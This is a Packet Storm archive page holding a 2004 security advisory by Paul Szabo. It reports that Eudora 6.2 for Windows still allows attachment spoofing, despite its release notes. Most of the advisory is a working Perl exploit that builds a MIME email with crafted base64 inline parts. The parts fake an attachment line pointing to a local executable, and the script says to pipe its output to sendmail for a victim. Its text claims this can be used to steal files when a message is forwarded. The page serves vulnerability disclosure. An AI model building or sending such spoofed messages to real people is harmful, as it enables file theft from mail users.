exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

eudora62014.txt

eudora62014.txt
Posted Nov 20, 2004
Authored by Paul Szabo

Eudora 6.2.14 for Windows that was just released is still susceptible to an attachment spoofing vulnerability. Working exploit included.

tags | exploit, spoof
systems | windows
SHA-256 | 40feffee7423a8d9403bc9b62c864111246e0808bd8068c7ab5f09b183a516b9

eudora62014.txt

Change Mirror Download
Eudora 6.2 (==6.2.0.14) for Windows was released on 8 Nov 04. The release
notes

http://www.eudora.com/download/eudora/windows/6.2/RelNotes.txt

say:

> SECURITY
> --------
> Fixed cases where attachments could be spoofed via base64 or quoted-printable
> encoded (plain-text, inline) MIME parts.

Some cases remain un-fixed, as Eudora developers know and admit privately.
One such example below.

Cheers,

Paul Szabo - psz@maths.usyd.edu.au http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics University of Sydney 2006 Australia


#!/usr/bin/perl --

use MIME::Base64;

print "From: me\n";
print "To: you\n";
print "Subject: Eudora 6.2 on Windows spoof\n";
print "MIME-Version: 1.0\n";
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";
print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n";

print "--zzz\n";
print "Content-Type: text/plain\n";
print "Content-Transfer-Encoding: 7bit\n\n";
print "With spoofed attachments, we could 'steal' files if the message
was forwarded (not replied to). Get a warning when stealing arbitrary
files, but no warning when stealing 'attach\\existing' attachments.\n";

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"b1.txt\"\n";
print "Content-Transfer-Encoding: base64\n";
print "Content-Disposition: inline; filename=\"b1.txt\"\n\n";
$z = "Within base64 encoded, use missing linebreak. Part 1 ...\r
AttachmenXX";
print encode_base64($z);

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"b2.txt\"\n";
print "Content-Transfer-Encoding: base64\n";
print "Content-Disposition: inline; filename=\"b2.txt\"\n\n";
$z = "t Converted: \"c:\\winnt\\system32\\calc.exe\"\r
... part 2\r
BTW, the above shows a parsing bug: missing two characters.\r
\r\n";
print encode_base64($z);

print "\n--zzz--\n";
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close